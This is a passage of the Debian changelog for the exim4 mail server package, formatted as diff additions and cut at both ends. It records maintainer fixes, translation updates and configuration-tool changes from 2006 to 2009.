overrides a manual REMOTE_SMTP_HELO_DATA data + setting. Closes: #514113 + * [README.Debian] Bring documentation for Diffie-Hellman parameters up to + current practice, mainly by deleting most of the outdated docs. + Closes: #508749 + * [exim4 init-script]. Modify check for smtp inetd entry to use an anchored + pattern, matching "smtp" but not "smtp-foo". Closes: #516146 + * exim4-daemon-light now Provides: default-mta. See #508644. + * Ship both transport-filter.pl and ratelimit.pl in + /usr/share/doc/exim4-base/examples. Closes: #518836 + * [lintian] Add ${misc:Depends} to all Depends. + * [lintian] Add override for dbg-package-missing-depends exim4-dbg. + * Sync debian/control with override file by moving *-dbg to section debug. + * Fix grammar error in update-exim4.conf.8. (Thank's, Gerfried Fuchs) + Closes: #525248 + + [ Christian Perrier ] + * Debconf translations: + - Asturian. Closes: #511624 + - Belarusian. Closes: #516049 + - Kazakh added. Closes: #520996 + - Slovak. Closes: #523447 + - Bengali added. + + -- Andreas Metzler <ametzler@debian.org> Sat, 02 May 2009 09:05:56 +0200 + +exim4 (4.69-9) unstable; urgency=medium + + * [update-exim4.conf]: Use POSIX character classes [:alnum:] or explicit + listing ("ABCDEF..") instead of a-z, since the latter does not work as + expected in some locales. Closes: #500691 + + -- Andreas Metzler <ametzler@debian.org> Tue, 30 Sep 2008 20:12:27 +0200 + +exim4 (4.69-8) unstable; urgency=low + + [ Andreas Metzler ] + * Quote last n lines (configurable by changing the value of + E4BCD_PANICLOG_LINES, defaults to 10) of paniclog in warning + email sent out on non-empty paniclog. Closes: #499492 + * Fix evaluation logic of E4BCD_WATCH_PANICLOG for sending out warning + e-mails about non-empty paniclog in daily cron-job to match documentation: + + yes: Send daily warning e-mails, do not touch panniclog. + + once: Send out the mail and rotate paniclog afterwards. + + no: Do nothing. (Logfile is rotated when its size reaches 10 MB.) + (Previously the interpretations of "once" and yes were mixed up.) + + [ Debconf translations ] + * Catalan. Closes: #499299 + + -- Andreas Metzler <ametzler@debian.org> Sun, 28 Sep 2008 12:01:39 +0200 + +exim4 (4.69-7) unstable; urgency=low + + [ Andreas Metzler ] + * Sync from ubuntu: Refer to spec.txt.gz instead of spec.txt in + README.Debian.xml. + + [ Debconf translations ] + * Korean. Closes: #491518 + * Lithuanian. Closes: #497402 + * Greek. Closes: #498466 + * Esperanto. Closes: #498796 + + -- Andreas Metzler <ametzler@debian.org> Tue, 16 Sep 2008 19:14:08 +0200 + +exim4 (4.69-6) unstable; urgency=high + + [ Debconf translations ] + * Malayalam. Closes: #479466 + * Albanian. Closes: #480282 + * Polish. Closes: #481638 + * Vietnamese. Closes: #482641 + * Turkish. Closes: #482714 + * Brazilian Portuguese. Closes: #485384 + * Finnish. Closes: #489171 + + [ Marc Haber ] + * Have timeout.pl print a meaningful error message if perl-modules + is not installed. Have exim4-base recommend perl-modules. + Thanks to Tom Schouten. Closes: #482319 + * Create gnutls-params with mode 644 in the first place. + Thanks to Jean-Luc Coulon. Closes: #481765 + * Replace ~/.rnd with $HOME/.rnd in exim_gencerts. Thanks to + Ross Boylan for noticing this. + * exim4-config.config: send hostname --fqdn stderr to /dev/null, + we handle errors properly. Thanks to Andrew Vaughan in #481597. + + [ Andreas Metzler ] + * Fix typos/other errors in README.Debian.xml. Improve formatting. + (Thank's Georg Neis and Paul Menzel) Closes: #486105, #486106, #486116 + * Revert fancy quoting in initscript. Closes: #486667,#482752 + (fixes rc-bugs). + * [debian/control README.Debian.xml] Spelling fix ("metapackage" instead of + "meta-package"). Thank's lintian + + -- Andreas Metzler <ametzler@debian.org> Sat, 19 Jul 2008 19:56:36 +0200 + +exim4 (4.69-5) unstable; urgency=low + + * remove chmod/chown code from exim4_refresh_gnutls-params completely + * do not remove gnutls-params in exim4-base.postinst + + -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 28 Apr 2008 21:46:18 +0200 + +exim4 (4.69-4) unstable; urgency=low + + * update-exim4.conf: Fix impossible code path in guessed_name check. Ouch. + Thanks to Anand Kumria. Closes: #478066 + * Regenerating the 2048 bits DH parameters takes too long for slow + systems, disable (both in the monthly cron job and postinst) and + document that paranoid people will want to regenerate them manually. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 27 Apr 2008 10:06:39 +0200 + +exim4 (4.69-3) unstable; urgency=low + + * The "please do not file duplicate bugs" release + + [ Marc Haber ] + * Work around lsb-base regression (#477055, "wontfix") by changing + the way we quote exim's arguments in the init script, hoping that + this does not sacrifice robustness. + Closes: #477194, #477236, #477239, #477258, #477562, #476987 + * README.Debian.xml: Fix router/transport pair typo. + Thanks to Georg Neis. Closes: #463573 + * Have exim4-base Suggest swaks + * Relax exim4-dbg dependency on eximon4 to a recommends (see #463929). + * 30_exim4-config_check_rcp: Remove mention of /usr/share/doc/exim4- + config/default_acl in favor of exim4-config_files(5). + Thanks to Jon Dowland. Closes: #464539 + * Move paniclog log rotation to /etc/logrotate.d/exim4-paniclog to + allow people to manually rotate the paniclog only by calling + logrotate -f /etc/logrotate.d/exim4-paniclog. Thanks to Josip Rodin + (#396003) for this nice idea. Implement E4BCD_WATCH_PANICLOG=once + as suggested by Vasilis Vasaitis. + * activate dlfunc. Closes: #471314 + * set LC_ALL=C in debian/rules. Thanks to Michael Meskes. Closes: #471486 + * Document that Incredimail's TLS "implementation" breaks on a + certificate request. Thanks to Andrew McGlashan. Closes: #459323 + * Fix parenthesis mismatch in README.Debian + * exim4_refresh_gnutls-params: Call openssh dhparam with + HOME=$EXIM4_SPOOLDIR so that openssl's .rnd file is placed there. + * update-exim4.conf: print a warning if dc_minimaldns and hostname + --fqdn does not print a fully qualified name. Thanks to Lothar + Ketterer. Closes: #476249 + * DH parameters handling: Closes: #475194 + * add dpatch to have exim use 2048 bit DH parameters + * ship static gnutls-params file with the package. + * Override resulting lintian warning. + * generate new gnutls-params only monthly and in postinst on configure. + * exim4_refresh_gnutls-params: + * generate 2048 bit DH parameters + * dh-params file can be world readable + * Filter out noise from mainlog before handing it off to eximstats + in daily cron job. Thanks to Justin Pryzby. Closes: #476541 + * Move docs from Apps/Net to Network/Communication + * linda R.I.P. + + [ Robert Millan ] + * Process acl_local_deny_exceptions ACL before rejecting a message in SPF + check. Thanks to Miklos Szeredi. Closes: #451633 + + [ Andreas Metzler ] + * Fix typos in exinext's man page (/s/eximnext/exinext/). (Thanks, + Filipus Klutiero) Closes: #471113 + * exiwhat: Check at runtime whether killall is available. Fall back to a + combination of 'ps ax' and regular kill otherwise. + Closes: #476455 + * Fix wrong logic in testing for existence of lsb-base functions in init + script. (Thanks, Tim Cross) Closes: #477578 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 26 Apr 2008 00:00:30 +0200 + +exim4 (4.69-2) unstable; urgency=low + + [ Marc Haber ] + * update-exim4.conf: fix bashism echo -n in preprocess_macro. + Thanks to Michal Politowski. Closes: #462173 + + [ Christian Perrier ] + * Debconf translations updates: + - German. Thanks to Eric Schanze. Closes: #462673 + + [Andreas Metzler] + * Add missing .P to exim_db.8 to fix indenting. (Thanks, David L. Anselmi) + Closes: #462712 + * Add (disabled) patch to save random seed to a file + + -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 30 Jan 2008 09:26:56 +0100 + +exim4 (4.69-1) unstable; urgency=low + + [ Marc Haber ] + * New upstream version. + - improve --help handling. Closes: 438435 + * Debconf translations updates: + - Dutch. Thanks to Bart Cornelis. Closes: #448924 + - Norwegian BokmÃ¥l. Thanks to Hans Fredrik Nordhaug. Closes: #452383 + - Slovak. Thanks to Peter Mann. Closes: #460502 + - Catalan: fix some semicolon issues and most obvious fuzzy strings. + Thanks to Jordà Polo. Closes: #447765. + * Add support for smtp_accept_max_nonmail_hosts to ease external + relay testing. + * Make Change to init script dependencies as suggested by Petter + Reinholdtsen. Closes: #460229 + * debian/control: + * Add Homepage field to Source Package stanza. + * Standards-Version: 3.7.3 (no changes necessary) + * lintian/overrides: + - Override all description-contains-homepage messages, + we're going to keep this field around until post-lenny. + - Override exim4-daemon-heavy: package-contains-empty-directory + usr/lib/exim4/local_scan/, the directory should be there to show + people where to put local extensions (and I am not sure how exim + behaves if that directory is not there). + * linda/overrides: + - Override menu section Applications, which is a false alert. + - Override complaint about newer standards version. + - This override does not work due to #386647 + * exim4-base.NEWS: fix Debian's typo + * exim4-base.dirs: remove usr/bin, we do not ship any files there. + * Generate exim macros from every definition found in ue4cc that + starts with a capital letter (sans CFILEMODE) to cater for an + obviously very common user error. This feature is going to stay + undocumented. + + [ Christian Perrier ] + * Debconf translations updates: + - Dzongkha. Thanks to Tenzin Dendup. Closes: #455871 + - Slovak. Thanks to Peter Mann. Closes: #460502 + + [ Andreas Metzler ] + * Fix typo in acl/20_exim4-config_local_deny_exceptions. (Thanks, Roderick + Schertler) Closes: #456343 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 22 Jan 2008 09:19:14 +0100 + +exim4 (4.68-2) unstable; urgency=low + + [ Marc Haber ] + * Fix changelog: lowuid router does not close #420217. Closes: #440217 + + [ Andreas Metzler ] + * Mention /etc/exim4/exim4.conf in FILES section of update-exim4.conf.8. + * Fix syntax error in real-local router. Closes: #446346 + * Configuring exim as configtype="internet host" asks a different set of + questions than e.g. satellite. However some of the settings controlled by + these hidden questions still have effects on exim's behavior. Change + exim4-config to ask these hidden questions if they have been set to a + non-default value. (Either manually, or by switching configtype after + setting the values.) Closes: #443210 + These questions have been added conditionally: + - internet site with smarthost: + + dc_relay_domains + - satellite + + dc_relay_domains + + dc_localdelivery + + -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 01 Nov 2007 19:17:36 +0100 + +exim4 (4.68-1) unstable; urgency=low + + * new upstream version. Closes: #444195 + * Documents tls_verify_hosts during TLS sessions. Closes: #422419 + * new example.conf md5 sum + * Move lowuid router to a later place, handle real- only for + locally generated messages. Thanks to Andreas Metzler and others + on pkg-exim4-devel. Closes: #440217 + * /etc/init.d/exim4: + * Use start_daemon and killproc from lsb-base + as a new plunge at #396944 + * Do not clean the environment as severly as before (functions + need to survive). + * README.Debian: + * Document that using client certificates needs extra + configuration. Thanks to John Goerzen. Closes: #440663 + * conf.d/main/03_exim4-config_tlsoptions: Make it clear that this + file only concerns exim as an SMTP server. + * exim4-config.preinst: Add EX4DEBUG facility, add rm_conffile + function + * Rename acl_whitelist_local_deny to acl_local_deny_exceptions + as suggested by Ross Boylan. Closes: #387078. + * Switch Build-Depends to db4.6. Closes: #442645 + * Debconf translations updates: + - Portuguese. Thanks to Miguel Figueiredo. Closes: #441895, #445494 + - Norwegian Nynorsk. Thanks to HÃ¥vard Korsvoll. + * exim4-config.NEWS: Explicitly mention that .dpkg-old and + .dpkg-dist files are included in the DEBCONFsomethingDEBCONF check to + allow lazy people to only grep the docs instead of actually reading + them. This was requested by Hamish Moffatt in #445327. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 07 Oct 2007 21:38:22 +0200 + +exim4 (4.67-8) unstable; urgency=low + + [ Marc Haber ] + * Define REMOTE_SMTP_HELO_DATA and REMOTE_SMTP_HELO_FROM_DNS macros + to have exim pull its HELO name from DNS automatically. + Thanks to Jari Aalto and Magnus Holmgren. Closes: #275975 + * Enable DNSDB in exim4-daemon-light (needed by the HELO magic) + * update-exim4.conf: Allow [] in ascii strings (needed for @[]) + * Improve domain literal docs + * Remove debconf template noalias_regenerate + * Fix PRIMARY_HOSTNAME typo in main/02_exim4-config_options. + Thanks to Tim Krah. Closes: #434337 + * fix alphabet salad in README.Debian. Closes: #434640 + * Add E4BCD_DAILY_REPORT_TO to daily cron job. + Thanks to Florian Schlichting. Closes: #426840 + * Fix /etc/exim paths in exim4-config_files(5). + Thanks to Marques Johansson. + * Debconf translations updates: + - Japanese. Closes: #433070 + - Spanish. Thanks to Javier Fernández-Sanguino Peña. Closes: #433084 + - Thai. Thanks to Theppitak Karoonboonyanan. Closes: #433177 + - Arabic. Thanks to Ossama Khayat. Closes: #433222 + - Hebrew. Thanks to Baruch Even. Closes: #433291 + - Italian. Closes: #433200 + - Galician. Closes: #433218 + - Portuguese. Thanks to Miguel Figueiredo. Closes: #433293 + - Hungarian. Thanks to Josip Rodin. Closes: #433336 + - Punjabi. Thanks to Amanpreet Singh Alam. Closes: #433578 + - Marathi. Thanks to Priti Patil. + - Wolof. Thanks to M Mamoune Mbacke. Closes: #433701 + - Indonesian. Thanks to Arief S Fitrianto. Closes: #433758 + - Romanian. Thanks to Eddy Petrisor. Closes: #433854 + - Nepali. Thanks to shyam krishna bal. Closes: #435345 + - Swedish. Thanks to Daniel Nylander. Closes: #435705 + + [ Andreas Metzler ] + * Update eximon menu file for menu 2.1.35 hierarchy. + + [ Christian Perrier ] + * Fix typo in README.Debian.xml. Thanks to <shaulka@012.net.il> + Closes: #434961 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 19 Aug 2007 09:25:10 +0200 + +exim4 (4.67-7) unstable; urgency=low + + * only generate HIDE_MAILNAME macro if its value is really non-empty + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 14 Jul 2007 08:47:40 +0200 + +exim4 (4.67-6) unstable; urgency=low + + * Add some more debugging output to maintainer scipts, hopefully + nailing #396944 which has surfaced again. + * Improve wording in NEWS.Debian for exim4-config. + Closes: #431019, #431130 + * Issue DEBCONFfooDEBCONF warning as well for + DEBCONFheaders_rewriteDEBCONF. + Thanks to John Goerzen. Closes: #431088 + * fix localhost inserted twice into local_domains. Closes: #432394 + * fix MAIN_RELAY_TO_DOMAINS in update-exim4.conf. + Thanks to Ben Wheeler. Closes: #432521 + * Document that special handling is needed for host lists that only + consist of a single IPv6 address. Thanks to Frederic Daniel Luc + Lehobey. Closes: #432229 + * Add forgotten (conditional) definition of REMOTE_SMTP_HEADERS_REWRITE + and REMOTE_SMTP_RETURN_PATH for remote_smtp transports. + Thanks to Miguel Martins Feitosa Filho. Closes: #432716 + * Debconf translations + * Bulgarian completed. Closes: #431957, #430521 + * Update Tamil. Thanks to Tirumurti Vasudevan. Closes: #432181 + * Update Spanish. + Thanks to Javier Fernández-Sanguino Peña. Closes: #429940 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 13 Jul 2007 22:22:09 +0200 + +exim4 (4.67-5) unstable; urgency=low + + * the "verderben viele Koeche den Brei?" release + + [ Andreas Metzler ] + * Point to exim4_passwd(5) instead of non-existing exim_passwd(5) in AUTH + section of configuration. (Thanks Arkadiusz Dykiel, #430149) + * update-exim4.conf check_ascii_pipe(): Accept < since we use it for list + construction. Closes: #430391 + * Anchor UPEX4CmacrosUPEX4C in update-exim4.conf + + [ Robert Millan ] + * Update informational message in SPF ACL to use the latest + http://www.openspf.org/Why API. + + [ Debconf translations ] + * French completed and converted to UTF-8 + * All remaining non UTF-8 translation switched to UTF-8 + + [ Marc Haber ] + * do not quote error message in lowuid router + * replace commented UPEX4CmacrosUPEX4C with UPEX4CmacrosUPEX4C exim + configuration macro definition as placeholder for ue4c-generated macros. + + [ Christian Perrier ] + * Correct the invalid ${fqdn} variable in exim4-config.templates + + -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 28 Jun 2007 09:22:04 +0200 + +exim4 (4.67-4) unstable; urgency=low + + * update-exim4.conf: + * fix embarrassing typo in update-exim4.conf that broke macro + expansion for two values. + Thanks to Andrew Chittenden. Closes: #429828 + * Allow ! and * in ue4cc. + Thanks to Dieter Hametner and Raf D'Halleweyn. Closes: #429986 + * have @ and localhost added to local_domains list. + Thanks to a big number of people. Closes: #429939 + * eliminate -e && chmod construct as a possible cause of #429617. + Thanks to Martin Ketzer and Silvestre Zabala + * Now barfs if DEBCONFsomethingDEBCONF is still found in the + configuration file. Thanks to a truckload of users who were too lazy + to read the docs, did not accept the suggested configuration file + changes and then complained about a non-working exim ("malformed macro + definition") + * README.Debian: Document the new low-UID handling mechanism. + Thanks to Johannes Rohr. Closes: #429878 + * debian/rules: do not ignore make clean errors + * Debconf translation updates: + - Basque. Closes: #429626 + - Czech. + - Brazilian Portuguese. Closes: #429867 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 22 Jun 2007 13:55:15 +0200 + +exim4 (4.67-3) unstable; urgency=low + + [ Andreas Metzler ] + * Initialize permissions of bug-script and exim-adduser as 755, since diff + does not preserve permissions. Both were shipped as 644 in binary packages + not built with svn-buildpackage. Closes: #420446 + + [ Marc Haber ] + * Merge experimental changes from revision 2018:2073 + * Fix "Zahlendreher" in closure of #427690. Closes: #427690 + * update-exim4.conf: + * finally get rid of the DEBCONFfooDEBCONF stuff. That information + is now passed to the configuration by ue4c by directly setting exim + macros in the configuration. This has caused both the configuration + and ue4c to be much shorter. + * run with -e, -C and -u. + * convert input read from update-exim4.conf.conf to lower case + * barf if strange characters are found in ue4cc. Closes: #400294 + * Remove superfluous "x$foo" = "xbar" constructs from scripts + * Add routers to reject mail to accounts with low UID. + Closes: #400790. + * Make daily cron job barf if /usr/bin/mail is not found. Have + exim4-base recommend mailx. Closes: #427690 + * Have all -daemon packages provide exim4-localscanapi-1.0 and + exim4-localscanapi-1.1 as requested by Magnus Holmgren while fixing + #426425. Also include exim4-localscan-plugin-config script with + exim4-dev. Thanks to Magnus for helping with this. Closes: #428274 + * remove /etc/exim4/email-addresses symlink and document this. + Thanks to Josip Rodin. Closes: #420578 + * introduce conf.d/250_exim4-config_lowuid which optionally allows + to reject (or alias away) mail to low-uid accounts that are not + listed in an exception list. Thanks to Dominic Hargreaves, + Marc Sherman and Ross Boylan. Closes: #400790, #307768, #331716 + * remove versioned depends on cron, since the version we need is + well before sarge. + * Add cron | fcron dependency. Fcron is going to be removed again + at the first sign of trouble. Closes: #381806 + * remove move_exim3_spool debconf template. Closes: #391762 + * replace openssl gendh with openssl dhparam. Closes: #413235 + * adapt docs, README and manpages + * have Hilko fix the lynx-dump postprocessing to repair generating + README.Debian text version. Thanks! + * increase README.Debian generation robustness. Thanks to Hilko. + * debconf: + * Partly apply Christian Perrier's patch for reviewed + templates and control file. Closes: #426980 + * Other minor template changes. + * get rid of "mails" in debconf templates, use "messages" instead. + Re-word local_interface debconf template. Other minor changes. + Thanks to Jens Seidel and Christian Perrrier. Closes: #394976 + * re-work exim4-config.config logic to have split/non-split config + asked last instead of first. This partly addresses #410756. + * Add exim4-daemon-heavy.templates, exim4-daemon-light.templates + and exim4.templates to POTFILES.in + * Re-Word dc_other_hostnames debconf template. + Thanks to Hans G. Ehrbar. Closes: #421860 + + [ Christian Perrier ] + + * Debconf translation updates: + - French + - Ukrainian. Closes: #427793 + - Bulgarian. + - Thai. + - Galician. + - Swedish. + - Punjabi. + - Indonesian. + - Italian. + - Khmer. + - Traditional Chinese. Closes: #428072, #428069. + - Portuguese. + - Simplified Chinese. + - Marathi + - Romanian. Closes: #429242 + - Russian. Closes: #429352 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 18 Jun 2007 10:26:20 +0200 + +exim4 (4.67-1) unstable; urgency=low + + [ Marc Haber ] + * new upstream version + * remove 37_upstream-patch-384015-add_headers + * remove 80_disable_rsa_export + * remove 80_upstream_408174_4-64-PH18 + * EDITME patch changes to allow for 4.67 + * enable dovecot authentication + * Upstream patch from Magnus Holmgren included upstream. + Thanks to Simon Walter. Closes: #407957 + * Upstream patch PH/18 included upstream. + Thanks to Marc Schiffbauer. Closes: #408174 + * merge experimental changes + * exim man page patch changes for 4.67 + * robustness patches for + * create-custom-package + * exim-gencert + * exim4-base.config + * exim4-base.postinst + * exim4-config.config + * exim4-config.postinst + * exim4-daemon-light.postinst + * update-exim4defaults + * replace backticks with $() notation + * Add patch to 50_localscan_dlopen to reduce dynamic symbol table. + Thanks to Magnus Holmgren. Closes: #413602 + * remove woody compatibility hacks from + * exim4-daemon-light.postinst + * exim4-config.postinst + * Fix eximnext => exinext in man page. + * README.Debian: + * add warning to "IP addresses for incoming connections" section. + * add new chapter about how to influence exim's behavior. + * add missing closing bracket. Thanks to Martin Schwarz. Closes: #419700 + * update-exim4.conf(8): + * clarify update-exim4.conf about how ue4cc and exim configuration + interface + * remote_smtp_smarthost transport: make hosts_try_auth host list + semicolon-separated to correctly handle IPv6 + * multiple minor changes to lintian overrides + * debian/control: have exim4 depend on debconf (>= 1.4.69) | cdebconf + (>= 0.39) explicitly to allow usage of debconf error template type. + + [ Christian Perrier ] + * Esperanto debconf translation update (Serge Leblanc). Closes: #415590 + * Marathi debconf translation added (Priti Pathil). Closes: #416801 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 21 Apr 2007 11:48:48 +0200 + +exim4 (4.63-17) unstable; urgency=low + + * 30_exim4-config_examples: add missing backslash in non-TLS client + login authenticator. Thanks to Kai Weber. Closes: #407567 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 20 Jan 2007 10:38:16 +0100 + +exim4 (4.63-16) unstable; urgency=low + + * Add ta (Tamil) translation of Tirumurti Vasudevan + Closes: #406974 + * exim4_refresh_gnutls-params: allow EXIM4_SPOOLDIR to be overridden from + the environment. Closes: #406989 + * Re-work client authenticators to handle passwords containing + colons and circumflexes. Thanks to Steaphan Greene. Closes: #406686 + * transport/30_exim4-config_remote_smtp_smarthost: feed + hosts_try_auth from $host and $host_address, avoiding issues with + round-robin DNS setup. + Thanks to Celejar and Heiko Schlittermann. Closes: #403583 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 18 Jan 2007 21:10:34 +0100 + +exim4 (4.63-15) unstable; urgency=low + + * keep config.h from being installed in exim4-base. + Thanks to Aaron M. Ucko. Closes: #405824 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 6 Jan 2007 22:12:05 +0100 + +exim4 (4.63-14) unstable; urgency=low + + * patch LOCAL_SCAN_ABI_VERSION to 1.1 in 50_localscan_dlopen after + consulting with Magnus Holmgren. + * Fix update-exim4.conf.8 manpage + * FILES section is no longer doubled + * NAME is no longer multi-line + * proper reference to ue4cc in FILES section + * Thanks to Angus Mackenzie + * debian/rules + * allow buildbasepackages and extradaemonpackages to be set from + the environment + * fix buildbasepackages=no and extradaemonpackages which were + broken due to the new -dev binary package + * remove "" in various places, this is Make not shell + * add optional debugging output for variables that are meant to be set + externally + * clean now unpatches first, otherwise clean fails because files + are first deleted and then non-existing files are unpatched + * take config.h from first non-light daemon package built instead + of -heavy (we might not be building -heavy but still need -dev) + * Thanks to Gerfried Fuchs for actually using these features and + finding this bug group. + * exim4.init: Now returns 0 when starting and daemon already + running, and when stopping and daemon already stopped. This fixes LSB + compliance. Thanks to Heiko Schlittermann. Closes: #404182 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 5 Jan 2007 16:34:58 +0100 + +exim4 (4.63-13) unstable; urgency=low + + * Fix mangled sense in /etc/aliases exim4-config_files(5) man page. + Thanks to Angus Mackenzie. + * [update-exim4.conf.8] exim4-config_files manpage is in section 5 instead + of 8. Thanks to Angus Mackenzie. Closes: #404494 (am) + * Clarify /etc/exim4/passwd.client host name lookup to go after the + reverse DNS entry in exim4-config_files(5) man page. + * Update uk (Ukrainian) translation of debconf templates. + Thanks to Eugeniy Meshcheryakov and Yanovych Borys. Closes: #404481 + * Update sl (Slovenian) translation of debconf templates. + Thanks to Matej Kovacic. Closes: #404481 + * merge in experimental changes: + * create exim4-dev package for sa-exim and other packages. Closes: #401462 + * fix broken usage of DPATCH_WORKDIR (dpatch-edit-patch didn't + work with tarballed upstream) + * don't use DPATCH_WORKDIR any more + * modify patches to apply to build-tree + * remove leftover debugging output from debian/patches/00_unpack.dpatch + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 2 Jan 2007 14:43:59 +0100 + +exim4 (4.63-12) unstable; urgency=low + + * exim4-base.postinst: Redirect command -v's stdout to /dev/null + * update-exim4.conf: add lots of quoting to increase robustness. + Thanks to Paul Slootman. Closes: #403605 + * Debconf templates translation updates and new translations: + - Esperanto + - Norwegian Nynorsk (HÃ¥vard Korsvoll). + - Punjabi (A.S. Alam). + - Malayalam (Praveen A). Closes: #402541 + - Italian (typos corrected by Davide Viti). Closes: #403199 + - see Last-Translator for rewards) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 20 Dec 2006 14:23:57 +0100 + +exim4 (4.63-11) unstable; urgency=low + + * Remove patch to spec.txt for pkg-exim4-users, it is included + upstream. No idea why this patch even applied correctly. + * README.Debian: + * Fix wrong pidfile name + * Move FAQ to the Wiki + * Adapt "Using completely different configuration scheme" to also + mention /etc/exim4/exim4.conf. + * Move titles in the same line as the section statement, making it + easier to work with a code folding editor. + * exim4_files(5): fix recommended permissions for passwd[.client]. + Thanks to Georg Neis. Closes: #398365 + * Remove temporary gnutls parameters file if neither certtool nor + openssl are installed. Closes: #399023 + * Fix path to gnutls-params file in exim4-base.postinst. + Thanks to J.L. Fernandez. Closes: #400794 + * Translation updates (see Last-Translator for rewards). + - Punjabi (not yet complete) + - Hebrew (not yet complete) + - Portuguese. Closes: #399242 + * merge changes from experimental: + * enable sqlite for exim4-daemon-heavy. + Thanks to Adrian Phillips. Closes: #398718 + * Add Build-Dependency on libsqlite3-dev. + Thanks to Frank Lichtenheld. Closes: #398880 + * Build-Depends + * add po-debconf + * add bzip2 + * debian/rules: + * run debconf-updatepo in clean targets + * adapt build system to allow direct building from an upstream tarball + * needs tardy at build time on sarge, but not on newer distributions + * use dpatch-run for patches instead of locally programmed handling + * add lintian overrides: + * partially-translated-question exim4/dc_eximconfig_configtype for + cy, eo, et, he, mk, nn, pa, pl, sl, tl, uk - translators, move! + * possible-debconf-note-abuse config:15 */drec + * remove gratuitous exim4-daemon-heavy.postinst + (it is symlinked at build time) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 1 Dec 2006 11:16:34 +0000 + +exim4 (4.63-10) unstable; urgency=low + + * The "praise Osamu Aoki" release. + * Translation updates (see Last-Translator for rewards). + - Dutch. Closes: #396725 + * README.Debian: + * Add information about how to obtain reportbug information for + mailing list questions. + * Point people directly to passwd.client man page instead of the + file itself. Thanks to Osamu Aoki. + * Re-work the /etc/aliases section. + * Improve smarthost description in update-exim4.conf(8) man page. + Give examples. Thanks to Osamu Aoki. + * include documentation for /etc/aliases in exim4-config_files(5) + man page. Symlink to etc-aliases(5). + Thanks to Osamu Aoki. Closes: #397042 + * Change symlink of exim4-config_files(5) to email-addresses(5) to + point to etc-email-addresses(5) for consistency. + * Use nwildlsearch to index into passwd.client to allow wildcards + here. Thanks to Osamu Aoki. This is another pain relief for #244724. + * use printf instead of echo in daily cron job. + Thanks to Ming Hua. Closes: #395448 + * Add de-uglyfication request to man pages. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 5 Nov 2006 10:36:28 +0000 + +exim4 (4.63-9) unstable; urgency=low + + * Fix a spelling error in templates: s/adviseable/advisable + Thanks to Jens Seidel for spotting it + * Translation updates (see Last-Translator for rewards). + - Bosnian. Closes: #396592 + - Bulgarian. Closes: #396558 + - Greek. + - Lithuanian. Closes: #396478 + - Norwegian BokmÃ¥l. Closes: #391768 + - Wolof. Closes: #395944 + * Have ue4c barf on more lookup types found in more ue4cc fields, + courtesy to regexp from hell. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 2 Nov 2006 18:07:24 +0000 + +exim4 (4.63-8) unstable; urgency=low + + * Translation updates (see Last-Translator for rewards). + - Albanian. Closes: #394725 + - Arabic + - Basque + - Catalan + - Chinese (Simplified) + - Chinese (Traditional) + - Croatian + - Czech + - Dzongkha + - Finnish. Closes: #393644 + - German + - Italian. + - Korean. Closes: #394235 + - Nepali + - Norwegian Bokmal. Closes: #394270 + - Portuguese + - Romanian + - Russian. + - Slovak + - Turkish + * README.Debian + * remove wiki references from README.Debian + * remove dc_local_delivery FAQ entry since this is now debconfized + * Fix typos, replace "documented below" with a direct link. + Thanks to Olaf van der Spek. Closes: #394617 + * exim4-config.templates + * Fixed typo: s/arbitrary/arbitrarily + * Extra space removed at the end of a line. Closes: #394569 + * Change references to inexistent README.Debian.html and README.Debian, + both replaced by README.Debian.gz. Thanks to Eric Schanze for spotting + this. + * Various English use changes suggested by Jens Seidel. Closes: #394651 + * update-exim4.conf: Fix wrong behavior if a debconf list answer already + starts with "<". Thanks to Vineet Kumar. Closes: #393843 + * conf.d/main/02_exim4-config_options: Use upstream's wording for + rfc1413 configuration, fix wrongly commented timeout value. + Thanks to Andre Bischoff on IRC. + * conf.d/transports/35_exim4-config_address_directory: Add + delivery_date_add, streamline other options' syntax. + Thanks to Dominic Hargreaves. Closes: #393930 + * Remove commented out inetd entries from maintainer scripts, we are + not going to support inetd again. + * Zap gnutls-params in postinst if old binary format is detected. + Exim cannot read that file any more since RSA_EXPORT has been removed. + Always kill the file if file(1) is not present, recommend file(1). + Thanks to John Goerzen. Closes: #394598 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 23 Oct 2006 20:49:46 +0200 + +exim4 (4.63-7) unstable; urgency=low + + * Translation updates (see Last-Translator for rewards). Closes: #391768 + - Brazilian Portuguese + - Danish. Closes: #392548 + - Galician + - Hungarian + - Indonesian + - Japanese + - Spanish + - Thai + * Do not ask for local delivery method if custom entry (i.e. neither + maildir_home nor mail_spool) has bin set in update-exim4.conf and continue + to use this custom setting instead of overwriting it with mail_spool. (am) + Closes: #392993 + * Special-case "dsearch;" constructs in dc_other_hostnames, no + longer supported. Adapt documentation accordingly. + * Adapt docs and man pages so that they do not longer suggest that + answers to debconf questions might use all exim + host/address/domain list features. + * fix ue4c to handle more than one smarthost correctly. + * Handle spaces, commas and semicolons as separator in root alias + handling. + * Wolof translation contained a comma in the translation of a element of the + Choices list for the dc_eximconfig_configtype question, replace it with a + semicolon. (am) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 14 Oct 2006 23:45:17 +0000 + +exim4 (4.63-6) unstable; urgency=low + + * 